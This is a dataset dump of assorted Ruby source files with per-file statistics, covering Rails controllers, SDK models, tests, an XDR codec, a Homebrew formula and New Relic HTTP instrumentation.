hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
|---|---|---|---|---|---|
871e05fa89c8673b6f22f8e671c5315c9bdff967 | 83 | # desc "Explaining what the task does"
# task :ocean do
# # Task goes here
# end
| 16.6 | 38 | 0.662651 |
e8de3b7274d7800cea13c5c690c453e9a675f986 | 573 | module VagrantPlugins
module OpenBSD
module Action
class SnapshotDelete
def initialize(app, env)
@app = app
end
def call(env)
env[:ui].info(I18n.t(
"vagrant.actions.vm.snapshot.deleting",
name: env[:snapshot_name]))
env[:machine].provider.driver.delete_snapshot(env[:snapshot_name])
env[:ui].success(I18n.t(
"vagrant.actions.vm.snapshot.deleted",
name: env[:snapshot_name]))
@app.call(env)
end
end
end
end
end
| 20.464286 | 76 | 0.551483 |
f8276728058e1f45f3d263579d8c05318dcdfcda | 3,676 | # encoding: utf-8
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator 1.0.0.0
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::RecoveryServicesBackup::Mgmt::V2017_07_01
module Models
#
# Simple policy schedule.
#
class SimpleSchedulePolicy < SchedulePolicy
include MsRestAzure
def initialize
@schedulePolicyType = "SimpleSchedulePolicy"
end
attr_accessor :schedulePolicyType
# @return [ScheduleRunType] Frequency of the schedule operation of this
# policy. Possible values include: 'Invalid', 'Daily', 'Weekly'
attr_accessor :schedule_run_frequency
# @return [Array<DayOfWeek>] List of days of week this schedule has to be
# run.
attr_accessor :schedule_run_days
# @return [Array<DateTime>] List of times of day this schedule has to be
# run.
attr_accessor :schedule_run_times
# @return [Integer] At every number weeks this schedule has to be run.
attr_accessor :schedule_weekly_frequency
#
# Mapper for SimpleSchedulePolicy class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'SimpleSchedulePolicy',
type: {
name: 'Composite',
class_name: 'SimpleSchedulePolicy',
model_properties: {
schedulePolicyType: {
client_side_validation: true,
required: true,
serialized_name: 'schedulePolicyType',
type: {
name: 'String'
}
},
schedule_run_frequency: {
client_side_validation: true,
required: false,
serialized_name: 'scheduleRunFrequency',
type: {
name: 'String'
}
},
schedule_run_days: {
client_side_validation: true,
required: false,
serialized_name: 'scheduleRunDays',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'DayOfWeekElementType',
type: {
name: 'Enum',
module: 'DayOfWeek'
}
}
}
},
schedule_run_times: {
client_side_validation: true,
required: false,
serialized_name: 'scheduleRunTimes',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'DateTimeElementType',
type: {
name: 'DateTime'
}
}
}
},
schedule_weekly_frequency: {
client_side_validation: true,
required: false,
serialized_name: 'scheduleWeeklyFrequency',
type: {
name: 'Number'
}
}
}
}
}
end
end
end
end
| 30.890756 | 79 | 0.508433 |
627d665023f65b1034b3760956a440546bef7d6c | 560 | class Admin::ImagesController < ApplicationController
before_action :verify_editor
def create
@image = Image.new(image_params)
@image.save
respond_to do |format|
format.json { render json: {image_id: @image.id, url: @image.file.url}.to_json }
end
end
def destroy
@image = Image.find(params[:id])
@image.destroy
respond_to do |format|
format.json { render json: {}}
end
end
private
def image_params
params.require(:image).permit(
:name,
:extension,
:file
)
end
end
| 17.5 | 88 | 0.632143 |
115a1b08c786f760d4fecb053b8cadfcc3131f45 | 51 | json.partial! "visitors/visitor", visitor: @visitor | 51 | 51 | 0.784314 |
e80e2430627e0e597fdb3af35bfbde820b8e07c6 | 979 | # Borrowed from http://my.rails-royce.org/2010/07/21/email-validation-in-ruby-on-rails-without-regexp/
# Mentioned in tweet here: https://twitter.com/_sohara/status/177120126083141633
require 'mail'
class EmailValidator < ActiveModel::EachValidator
def validate_each(record,attribute,value)
begin
m = Mail::Address.new(value)
# We must check that value contains a domain and that value is an email address
r = m.domain && m.address == value
t = m.__send__(:tree)
# We need to dig into treetop
# A valid domain must have dot_atom_text elements size > 1
# user@localhost is excluded
# treetop must respond to domain
# We exclude valid email values like <[email protected]>
# Hence we use m.__send__(tree).domain
r &&= (t.domain.dot_atom_text.elements.size > 1)
rescue Exception => e
r = false
end
record.errors.add(attribute, :invalid, {:value => value}.merge!(options)) unless r
end
end
| 40.791667 | 102 | 0.689479 |
ff72b7a67329aaaba188d4e2bfe0e1bb7e8da40a | 2,040 | require 'test_helper'
module Payment
class Adyen12ErrorsHandlerTest < ActiveSupport::TestCase
test 'error from authorization refusal is handled' do
params = {
'refusalReason' => 'Handled Refusal Reason',
'resultCode' => 'Declined'
}
response = ActiveMerchant::Billing::Response.new(false, 'authorization failed', params)
handler = Adyen12ErrorsHandler.new(response)
Adyen12ErrorsHandler::ERROR_MESSAGES = { 'Handled Refusal Reason' => 'This is for test' }
System::ErrorReporting.expects(:report_error).never
assert_equal handler.messages.first, 'This is for test'
end
test 'error from authorization refusal is not handled' do
params = {
'refusalReason' => 'Unhandled Refusal Reason',
'resultCode' => 'Declined'
}
response = ActiveMerchant::Billing::Response.new(false, 'authorization failed', params)
handler = Adyen12ErrorsHandler.new(response)
System::ErrorReporting.expects(:report_error).with(instance_of(Payment::Adyen12ErrorsHandler::Adyen12ResultError))
assert_nil handler.messages.first
end
test 'error comes from rejection' do
params = {
'errorType' => 'security',
'errorCode' => '901',
'message' => 'Invalid Merchant Account',
'status' => '403'
}
response = ActiveMerchant::Billing::Response.new(false, 'Invalid Merchant Account', params)
handler = Adyen12ErrorsHandler.new(response)
System::ErrorReporting.expects(:report_error).never
assert_equal handler.messages.first, 'Invalid Merchant Account'
end
test 'Adyen12ResultError' do
params = {
'refusalReason' => 'Unhandled Refusal Reason',
'resultCode' => 'Declined'
}
response = ActiveMerchant::Billing::Response.new(false, 'authorization failed', params)
error = Payment::Adyen12ErrorsHandler::Adyen12ResultError.new(response)
assert_equal({ result: response.as_json }, error.bugsnag_meta_data)
end
end
end
| 35.172414 | 120 | 0.679902 |
3842b34d7878902caa85320b405d62040603e081 | 69 | module Telegram
module Bot
VERSION = '0.12.0'.freeze
end
end
| 11.5 | 29 | 0.666667 |
e8d4a71a42e22eb9cfa02fac95da3a7ee547037e | 9,654 | # xdr.rb - A module for reading and writing data in the XDR format
# Copyright (C) 2010 Red Hat Inc.
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
module XDR
class Error < RuntimeError; end
class Type; end
class Reader
def initialize(io)
@io = io
end
######
# ADDED HERE -> need to return patch
# Short
def uint16()
_uint16("uint16")
end
def int16()
_int16("int16")
end
def _int16(typename)
# Ruby's unpack doesn't give us a big-endian signed integer, so we
# decode a native signed integer and conditionally swap it
_read_type(4, typename).unpack("n").pack("L").unpack("l").first
end
def _uint16(typename)
_read_type(2, typename).unpack("n").first
end
#############
# A signed 32-bit integer, big-endian
def int32()
_int32("int32")
end
# An unsigned 32-bit integer, big-endian
def uint32()
_uint32("uint32")
end
# A boolean value, encoded as a signed integer
def bool()
val = _int32("bool")
case val
when 0
false
when 1
true
else
raise ArgumentError, "Invalid value for bool: #{val}"
end
end
# A signed 64-bit integer, big-endian
def int64()
# Read an unsigned value, then convert it to signed
val = _uint64("int64")
val >= 2**63 ? -(2**64 - val): val
end
# An unsigned 64-bit integer, big-endian
def uint64()
_uint64("uint64")
end
# A 32-bit float, big-endian
def float32()
_read_type(4, "float32").unpack("g").first
end
# a 64-bit float, big-endian
def float64()
_read_type(8, "float64").unpack("G").first
end
# a 128-bit float, big-endian
def float128()
# Maybe some day
raise NotImplementedError
end
# Opaque data of length n, padded to a multiple of 4 bytes
def bytes(n)
# Data length is n padded to a multiple of 4
align = n % 4
if align == 0 then
len = n
else
len = n + (4-align)
end
bytes = _read_type(len, "opaque of length #{n}")
# Remove padding if required
(1..(4-align)).each { bytes.chop! } if align != 0
bytes
end
# Opaque data, preceeded by its length
def var_bytes()
len = self.uint32()
self.bytes(len)
end
# A string, preceeded by its length
def string()
len = self.uint32()
self.bytes(len)
end
# Void doesn't require a representation. Included only for completeness.
def void()
nil
end
def read(type)
# For syntactic niceness, instantiate a new object of class 'type'
# if type is a class
type = type.new() if type.is_a?(Class)
type.read(self)
type
end
private
# Read length bytes from the input. Return an error if we failed.
def _read_type(length, typename)
bytes = @io.read(length)
raise EOFError, "Unexpected EOF reading #{typename}" \
if bytes.nil? || bytes.length != length
bytes
end
# Read a signed int, but report typename if raising an error
def _int32(typename)
# Ruby's unpack doesn't give us a big-endian signed integer, so we
# decode a native signed integer and conditionally swap it
_read_type(4, typename).unpack("N").pack("L").unpack("l").first
end
# Read an unsigned int, but report typename if raising an error
def _uint32(typename)
_read_type(4, typename).unpack("N").first
end
# Read a uint64, but report typename if raising an error
def _uint64(typename)
top = _uint32(typename)
bottom = _uint32(typename)
(top << 32) + bottom
end
end
class Writer
def initialize(io)
@io = io
end
# A signed 32-bit integer, big-endian
def int32(val)
raise ArgumentError, "int32() requires an Integer argument" \
unless val.is_a?(Integer)
raise RangeError, "argument to int32() must be in the range " +
"-2**31 <= arg <= 2**31-1" \
unless val >= -2**31 && val <= 3**31-1
# Ruby's pack doesn't give us a big-endian signed integer, so we
# encode a native signed integer and conditionally swap it
@io.write([val].pack("i").unpack("N").pack("L"))
self
end
# An unsigned 32-bit integer, big-endian
def uint32(val)
raise ArgumentError, "uint32() requires an Integer argument" \
unless val.is_a?(Integer)
raise RangeError, "argument to uint32() must be in the range " +
"0 <= arg <= 2**32-1" \
unless val >= 0 && val <= 2**32-1
@io.write([val].pack("N"))
self
end
# A boolean value, encoded as a signed integer
def bool(val)
raise ArgumentError, "bool() requires a boolean argument" \
unless val == true || val == false
self.int32(val ? 1 : 0)
end
# XXX: In perl, int64 and uint64 would be pack("q>") and pack("Q>")
# respectively. What follows is a workaround for ruby's immaturity.
# A signed 64-bit integer, big-endian
def int64(val)
raise ArgumentError, "int64() requires an Integer argument" \
unless val.is_a?(Integer)
raise RangeError, "argument to int64() must be in the range " +
"-2**63 <= arg <= 2**63-1" \
unless val >= -2**63 && val <= 2**63-1
# Convert val to an unsigned equivalent
val += 2**64 if val < 0;
self.uint64(val)
end
# An unsigned 64-bit integer, big-endian
def uint64(val)
raise ArgumentError, "uint64() requires an Integer argument" \
unless val.is_a?(Integer)
raise RangeError, "argument to uint64() must be in the range " +
"0 <= arg <= 2**64-1" \
unless val >= 0 && val <= 2**64-1
# Output is big endian, so we can output the top and bottom 32 bits
# independently, top first
top = val >> 32
bottom = val & (2**32 - 1)
self.uint32(top).uint32(bottom)
end
# A 32-bit float, big-endian
def float32(val)
raise ArgumentError, "float32() requires a Numeric argument" \
unless val.is_a?(Numeric)
@io.write([val].pack("g"))
self
end
# a 64-bit float, big-endian
def float64(val)
raise ArgumentError, "float64() requires a Numeric argument" \
unless val.is_a?(Numeric)
@io.write([val].pack("G"))
self
end
# a 128-bit float, big-endian
def float128(val)
# Maybe some day
raise NotImplementedError
end
# Opaque data, padded to a multiple of 4 bytes
def bytes(val)
val = val.to_s
# Pad with zeros until length is a multiple of 4
while val.length % 4 != 0 do
val += "\0"
end
@io.write(val)
end
# Opaque data, preceeded by its length
def var_bytes(val)
val = val.to_s
raise ArgumentError, "var_bytes() cannot encode data longer " +
"than 2**32-1 bytes" \
unless val.length <= 2**32-1
# While strings are still byte sequences, this is the same as a
# string
self.string(val)
end
# A string, preceeded by its length
def string(val)
val = val.to_s
raise ArgumentError, "string() cannot encode a string longer " +
"than 2**32-1 bytes" \
unless val.length <= 2**32-1
self.uint32(val.length).bytes(val)
end
# Void doesn't require a representation. Included only for completeness.
def void(val)
# Void does nothing
self
end
def write(type)
type.write(self)
end
end
end
| 29.522936 | 80 | 0.52051 |
87956099248d12ddc9c57d23d5b89dd2ca7f79e2 | 482 | # frozen_string_literal: true
require 'spec_helper'
require 'vk/api/groups/methods/set_callback_server'
RSpec.describe Vk::API::Groups::Methods::SetCallbackServer do
subject(:model) { described_class }
it { is_expected.to be < Dry::Struct }
it { is_expected.to be < Vk::Schema::Method }
describe 'attributes' do
subject(:attributes) { model.instance_methods(false) }
it { is_expected.to include :group_id }
it { is_expected.to include :server_url }
end
end
| 28.352941 | 61 | 0.73029 |
d5f44084b1c4092f2bd7340f223b2beb4ace937b | 4,147 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2016_07_31_182106) do
create_table "addresses", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "street"
t.string "city"
t.string "state"
t.string "zip"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "bones", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.integer "dog_id"
end
create_table "child_models", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "child_attribute"
t.bigint "test_model_id"
t.index ["test_model_id"], name: "index_child_models_on_test_model_id"
end
create_table "comments", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.text "comment"
t.datetime "created_at"
t.datetime "updated_at"
t.bigint "todo_id"
t.bigint "author_id"
t.integer "user_id"
t.integer "todo_item_id"
t.index ["author_id"], name: "index_comments_on_author_id"
t.index ["todo_id"], name: "index_comments_on_todo_id"
end
create_table "hyperstack_connections", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "channel"
t.string "session"
t.datetime "created_at"
t.datetime "expires_at"
t.datetime "refresh_at"
end
create_table "hyperstack_queued_messages", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.text "data"
t.integer "connection_id"
end
create_table "pets", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.integer "owner_id"
end
create_table "scratching_posts", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.integer "cat_id"
end
create_table "test_models", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "test_attribute"
t.boolean "completed"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "todo_items", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "title"
t.text "description"
t.boolean "complete"
t.datetime "created_at"
t.datetime "updated_at"
t.integer "user_id"
t.integer "comment_id"
end
create_table "todos", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "title"
t.text "description"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.boolean "completed", default: false, null: false
t.bigint "created_by_id"
t.bigint "owner_id"
t.index ["created_by_id"], name: "index_todos_on_created_by_id"
t.index ["owner_id"], name: "index_todos_on_owner_id"
end
create_table "users", options: "ENGINE=InnoDB DEFAULT CHARSET=utf8", force: :cascade do |t|
t.string "role"
t.bigint "manager_id"
t.string "first_name"
t.string "last_name"
t.string "email"
t.datetime "created_at"
t.datetime "updated_at"
t.string "address_street"
t.string "address_city"
t.string "address_state"
t.string "address_zip"
t.integer "address_id"
t.string "address2_street"
t.string "address2_city"
t.string "address2_state"
t.string "address2_zip"
t.string "data_string"
t.integer "data_times"
t.integer "test_enum"
t.index ["manager_id"], name: "index_users_on_manager_id"
end
end
| 34.558333 | 114 | 0.712322 |
62638cf3029c3a01d70507d5a15835f0a9492b9a | 1,836 | require "net/https"
require "uri"
require 'base64'
require 'json'
#Quote your Twitter App consumer keys here.
#See [THIS CODE] for a better way to handle and configure your keys.
CONSUMER_KEY = "" # Add your API key here
CONSUMER_SECRET = "" # Add your API secret key here
@search_url = "https://api.twitter.com/labs/2/tweets/search"
query = 'from:twitterdev has:media'
options = {"query" => query}
def bearer_token(consumer_key, consumer_secret)
# Generates a Bearer Token using your Twitter App's consumer key and secret.
# Calls the Twitter URL below and returns the Bearer Token.
bearer_token_url = "https://api.twitter.com/oauth2/token"
return @bearer_token unless @bearer_token.nil?
credentials = Base64.encode64("#{consumer_key}:#{consumer_secret}").gsub("\n", "")
uri = URI(bearer_token_url)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Post.new(uri.path)
request.body = "grant_type=client_credentials"
request['Authorization'] = "Basic #{credentials}"
request['User-Agent'] = "LabsRecentSearchQuickStartRuby"
response = http.request(request)
body = JSON.parse(response.body)
body['access_token']
end
def make_request(key, secret, query)
uri = URI(@search_url)
options = {}
options['query'] = query
options['max_results'] = 10
#options['start_time'] = nil
#options['end_time'] = nil
uri.query = URI.encode_www_form(options)
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
request = Net::HTTP::Get.new(uri.request_uri)
request['Authorization'] = "Bearer #{bearer_token(key,secret)}"
request['User-Agent'] = "RecentSearchQuickStartRuby"
response = http.request(request)
return response
end
response = make_request(CONSUMER_KEY, CONSUMER_SECRET, query)
puts JSON.pretty_generate(JSON.parse(response.body))
| 27.402985 | 84 | 0.72549 |
ac5efc4d1786a2f24726fbfcf3c12fa2138a76f8 | 2,747 | require_relative 'test_helper'
require 'chapter'
require 'ostruct'
class ChapterTest < Minitest::Test
include TestHelper
def subject
@subject ||= Chapter.new(mock_chapter.num, mock_chapter.name, zero_based: true)
end
def test_to_s
output = capture_output { print subject }
assert_equal(mock_chapter.string, output)
end
def test_file_name
assert_equal(mock_chapter.file_name, subject.file_name)
end
def test_readme_md
assert_equal(mock_chapter.readme, subject.readme_md)
end
def test_to_md_without_params
assert_match(matches[:readme], subject.to_md)
assert_includes(subject.to_md, mock_chapter.proper_name)
assert_match(matches[:notes], subject.to_md)
assert_match(matches[:readme_link], subject.to_md)
end
def test_to_md_with_params
@test_subject = subject.to_md previous: previous, upcoming: upcoming
matches.each do |_, match|
assert_match(match, @test_subject)
end
assert_includes(@test_subject, mock_chapter.proper_name)
end
def test_to_md_without_previous
@test_subject = subject.to_md upcoming: upcoming
matches.each do |key, match|
assert_match(match, @test_subject) unless key.to_s.start_with? 'previous'
refute_match(match, @test_subject) if key.to_s.start_with? 'previous'
end
assert_includes(@test_subject, mock_chapter.proper_name)
end
def test_to_md_without_upcoming
@test_subject = subject.to_md previous: previous
matches.each do |key, match|
assert_match(match, @test_subject) unless key.to_s.start_with? 'upcoming'
refute_match(match, @test_subject) if key.to_s.start_with? 'upcoming'
end
assert_includes(@test_subject, mock_chapter.proper_name)
end
def matches
{
notes: /_Notes_/,
readme: /\[🏡\]\[readme\]/,
previous: /\[🔙 Chapter 24. X\]\[previous-chapter\]/,
upcoming: /\[Chapter 26. Z 🔜\]\[upcoming-chapter\]/,
readme_link: /\[readme\]: README\.md/,
previous_link: /\[previous-chapter\]: chapter-24-x\.md/,
upcoming_link: /\[upcoming-chapter\]: chapter-26-z\.md/
}
end
def previous
@previous ||= { name: 'Chapter 24. X', file_name: 'chapter-24-x.md' }
end
def upcoming
@upcoming ||= { name: 'Chapter 26. Z', file_name: 'chapter-26-z.md' }
end
def mock_chapter
@mock_chapter ||= OpenStruct.new.tap do |c|
c.name = 'The Chapter of Nine (Plus)'
c.name_as_file = 'the-chapter-of-nine-plus'
c.num = 8
c.num_str = '09'
c.file_name = "ch#{c.num_str}-#{c.name_as_file}.md"
c.proper_name = "Chapter #{c.num_str.to_i}. #{c.name}"
c.readme = "[#{c.proper_name}](#{c.file_name})"
c.string = "#{c.num_str}. #{c.name} - #{c.file_name}"
end
end
end
| 30.186813 | 83 | 0.684383 |
e257a579e89c8ff1e7fb0d4004e1e25ca02dec9a | 825 | require 'puppet/provider/a2mod'
Puppet::Type.type(:a2mod).provide(:a2mod, :parent => Puppet::Provider::A2mod) do
desc "Manage Apache 2 modules on Debian and Ubuntu"
optional_commands :encmd => "a2enmod"
optional_commands :discmd => "a2dismod"
commands :apache2ctl => "apache2ctl"
confine :osfamily => :debian
defaultfor :operatingsystem => [:debian, :ubuntu]
def self.instances
modules = apache2ctl("-M").lines.collect { |line|
m = line.match(/(\w+)_module \(shared\)$/)
m[1] if m
}.compact
modules.map do |mod|
new(
:name => mod,
:ensure => :present,
:provider => :a2mod
)
end
end
def create
encmd resource[:name]
end
def destroy
discmd resource[:name]
end
end
| 22.916667 | 80 | 0.578182 |
4a621ec6e0a29f160d2aa62fdf0b43c6deb0ae47 | 5,759 | class Dealii < Formula
desc "Open source finite element library"
homepage "https://www.dealii.org"
url "https://github.com/dealii/dealii/releases/download/v8.5.1/dealii-8.5.1.tar.gz"
sha256 "d33e812c21a51f7e5e3d3e6af86aec343155650b611d61c1891fbc3cabce09ae"
revision 2
head "https://github.com/dealii/dealii.git"
bottle :disable, "needs to be rebuilt with latest boost"
option "with-testsuite", "Run full test suite (7000+ tests). Takes a lot of time."
option "without-oce", "Build without oce support (conflicts with opencascade)"
deprecated_option "without-mpi" => "without-open-mpi"
deprecated_option "without-opencascade" => "without-oce"
depends_on "cmake"
depends_on "openmpi" => :recommended
depends_on "openblas" => :optional
openblasdep = build.with?("openblas") ? ["with-openblas"] : []
mpidep = build.with?("open-mpi") ? ["with-open-mpi"] : []
depends_on "arpack" => [:recommended] + mpidep + openblasdep
depends_on "boost" => :recommended
#-depends_on "doxygen" => :optional # installation error: CMake Error at doc/doxygen/cmake_install.cmake:31 (file)
depends_on "hdf5" => [:recommended] + mpidep
depends_on "metis" => :recommended
depends_on "muparser" => :recommended if MacOS.version != :mountain_lion # Undefined symbols for architecture x86_64
depends_on "netcdf" => :recommended
depends_on "oce" => :recommended
depends_on "p4est" => [:recommended] + openblasdep if build.with? "open-mpi"
depends_on "parmetis" => :recommended if build.with? "open-mpi"
depends_on "petsc" => [:recommended] + openblasdep
depends_on "slepc" => :recommended
depends_on "suite-sparse" => [:recommended] + openblasdep
depends_on "tbb" => :recommended
depends_on "trilinos" => [:recommended] + openblasdep
def install
ENV.cxx11
args = %W[
-DCMAKE_BUILD_TYPE=DebugRelease
-DCMAKE_INSTALL_PREFIX=#{prefix}
-DCMAKE_FIND_FRAMEWORK=LAST
-Wno-dev
-DDEAL_II_COMPONENT_COMPAT_FILES=OFF
-DDEAL_II_COMPONENT_EXAMPLES=ON
-DDEAL_II_COMPONENT_MESH_CONVERTER=ON
]
# constrain Cmake to look for libraries in homebrew's prefix
args << "-DCMAKE_PREFIX_PATH=#{HOMEBREW_PREFIX}"
args << "-DDEAL_II_COMPONENT_DOCUMENTATION=ON" if build.with? "doxygen"
if build.with? "openblas"
ext = OS.mac? ? "dylib" : "so"
args << "-DLAPACK_FOUND=true"
args << "-DLAPACK_INCLUDE_DIRS=#{Formula["openblas"].opt_include}"
args << "-DLAPACK_LIBRARIES=#{Formula["openblas"].opt_lib}/libopenblas.#{ext}"
args << "-DLAPACK_LINKER_FLAGS=-lgfortran -lm"
end
if build.with? "open-mpi"
args << "-DCMAKE_C_COMPILER=mpicc"
args << "-DCMAKE_CXX_COMPILER=mpicxx"
args << "-DCMAKE_Fortran_COMPILER=mpif90"
end
args << "-DARPACK_DIR=#{Formula["arpack"].opt_prefix}" if build.with? "arpack"
args << "-DBOOST_DIR=#{Formula["boost"].opt_prefix}" if build.with? "boost"
args << "-DHDF5_DIR=#{Formula["hdf5"].opt_prefix}" if build.with? "hdf5"
args << "-DMETIS_DIR=#{Formula["metis"].opt_prefix}" if build.with? "metis"
args << "-DMUPARSER_DIR=#{Formula["muparser"].opt_prefix}" if build.with? "muparser"
args << "-DNETCDF_DIR=#{Formula["netcdf"].opt_prefix}" if build.with? "netcdf"
args << "-DOPENCASCADE_DIR=#{Formula["oce"].opt_prefix}" if build.with? "oce"
args << "-DP4EST_DIR=#{Formula["p4est"].opt_prefix}" if build.with? "p4est"
args << "-DPETSC_DIR=#{Formula["petsc"].opt_prefix}" if build.with? "petsc"
args << "-DSLEPC_DIR=#{Formula["slepc"].opt_prefix}" if build.with? "slepc"
args << "-DUMFPACK_DIR=#{Formula["suite-sparse"].opt_prefix}" if build.with? "suite-sparse"
args << "-DTBB_DIR=#{Formula["tbb"].opt_prefix}" if build.with? "tbb"
args << "-DTRILINOS_DIR=#{Formula["trilinos"].opt_prefix}" if build.with? "trilinos"
mkdir "build" do
system "cmake", "..", *args
system "make"
system "make", "test"
if build.with? "testsuite"
system "make", "setup_tests"
system "ctest", "-j", Hardware::CPU.cores
end
system "make", "install"
end
end
test do
# take bare-bones step-3
ohai "running step-3:"
cp_r prefix/"examples/step-3", testpath
cd "step-3" do
system "cmake", "."
system "make", "release"
system "make", "run"
end
# take step-40 which can use both PETSc and Trilinos
cp_r prefix/"examples/step-40", testpath
if (build.with? "petsc") && (build.with? "trilinos")
ohai "running step-40:"
cd "step-40" do
system "cmake", "."
system "make", "release"
if build.with? "open-mpi"
system "mpirun", "-np", Hardware::CPU.cores, "step-40"
else
system "make", "run"
end
# change to Trilinos
inreplace "step-40.cc", "# define USE_PETSC_LA", "//# define USE_PETSC_LA"
system "make", "release"
if build.with? "open-mpi"
system "mpirun", "-np", Hardware::CPU.cores, "step-40"
else
system "make", "run"
end
end
end
# take step-36 which uses SLEPc
if build.with? "slepc"
ohai "running step-36:"
cp_r prefix/"examples/step-36", testpath
cd "step-36" do
system "cmake", "."
system "make", "release"
system "make", "run"
end
end
# take step-54 to check opencascade
if build.with? "opencascade"
ohai "running step-54:"
cp_r prefix/"examples/step-54", testpath
cd "step-54" do
system "cmake", "."
system "make", "release"
system "make", "run"
end
end
end
end
| 38.393333 | 122 | 0.628755 |
0341c00be364c2f8c34fbf34b1d1c8e83d11f65e | 187 | module PaginationHelper
def pagination(collection)
paginate collection, theme: 'twitter-bootstrap-3',
pagination_class: 'pagination-sm'
end
end | 31.166667 | 65 | 0.636364 |
791571071a09bf97fd18b79afeb50a62371cb493 | 104 | # frozen_string_literal: true
module SolidusCulqiFrontend
class Railtie < ::Rails::Railtie
end
end
| 14.857143 | 34 | 0.778846 |
085cce7a76ee9ddf7297cdba9cd74c59fa96369d | 315 | require 'spec_helper'
describe Typhoeus::Hydra do
describe '#max_concurrency' do
it 'is be accessible' do
h = Typhoeus::Hydra.new
expect(h.max_concurrency).to be_truthy
h.max_concurrency = 10
expect(h.max_concurrency).to eq(10)
end
end
end
| 21 | 50 | 0.6 |
5db1d5d231a198b641476bf1514519c78612be40 | 364 | # frozen_string_literal: true
class RemoveCruftFromReward < ActiveRecord::Migration[5.2]
def change
remove_column :rewards, :gift_card_number
remove_column :rewards, :expiration_date
remove_column :rewards, :batch_id
remove_column :rewards, :sequence_number
remove_column :rewards, :active
remove_column :rewards, :secure_code
end
end
| 28 | 58 | 0.769231 |
21154098a86d99084d868a5fff60fb113f6a25e8 | 406 | class PagesController < ApplicationController
before_action :authenticate_user!
before_action :find_user_categories
def index
@links = Link.where(:user_id => current_user.id).paginate(:page => params[:page])
@link = Link.new
@category = Category.new
end
def categories
end
def find_user_categories
@categories = Category.where(:user_id => current_user.id)
end
end
| 19.333333 | 84 | 0.716749 |
e9576371466bd246fdd8abbc1677a4ac2db2226f | 2,239 | # encoding: utf-8
# This file is distributed under New Relic's license terms.
# See https://github.com/newrelic/rpm/blob/master/LICENSE for complete details.
DependencyDetection.defer do
named :typhoeus
depends_on do
defined?(Typhoeus) && defined?(Typhoeus::VERSION)
end
depends_on do
NewRelic::Agent::Instrumentation::TyphoeusTracing.is_supported_version?
end
executes do
::NewRelic::Agent.logger.info 'Installing Typhoeus instrumentation'
require 'new_relic/agent/cross_app_tracing'
require 'new_relic/agent/http_clients/typhoeus_wrappers'
end
# Basic request tracing
executes do
Typhoeus.before do |request|
NewRelic::Agent::Instrumentation::TyphoeusTracing.trace(request)
# Ensure that we always return a truthy value from the before block,
# otherwise Typhoeus will bail out of the instrumentation.
true
end
end
# Apply single TT node for Hydra requests until async support
executes do
class Typhoeus::Hydra
include NewRelic::Agent::MethodTracer
def run_with_newrelic(*args)
trace_execution_scoped("External/Multiple/Typhoeus::Hydra/run") do
run_without_newrelic(*args)
end
end
alias run_without_newrelic run
alias run run_with_newrelic
end
end
end
module NewRelic::Agent::Instrumentation::TyphoeusTracing
EARLIEST_VERSION = NewRelic::VersionNumber.new("0.5.3")
def self.is_supported_version?
NewRelic::VersionNumber.new(Typhoeus::VERSION) >= NewRelic::Agent::Instrumentation::TyphoeusTracing::EARLIEST_VERSION
end
def self.request_is_hydra_enabled?(request)
request.respond_to?(:hydra) && request.hydra
end
def self.trace(request)
if NewRelic::Agent.is_execution_traced? && !request_is_hydra_enabled?(request)
wrapped_request = ::NewRelic::Agent::HTTPClients::TyphoeusHTTPRequest.new(request)
t0, segment = ::NewRelic::Agent::CrossAppTracing.start_trace(wrapped_request)
request.on_complete do
wrapped_response = ::NewRelic::Agent::HTTPClients::TyphoeusHTTPResponse.new(request.response)
::NewRelic::Agent::CrossAppTracing.finish_trace(t0, segment, wrapped_request, wrapped_response)
end if t0
end
end
end
| 30.256757 | 121 | 0.738276 |
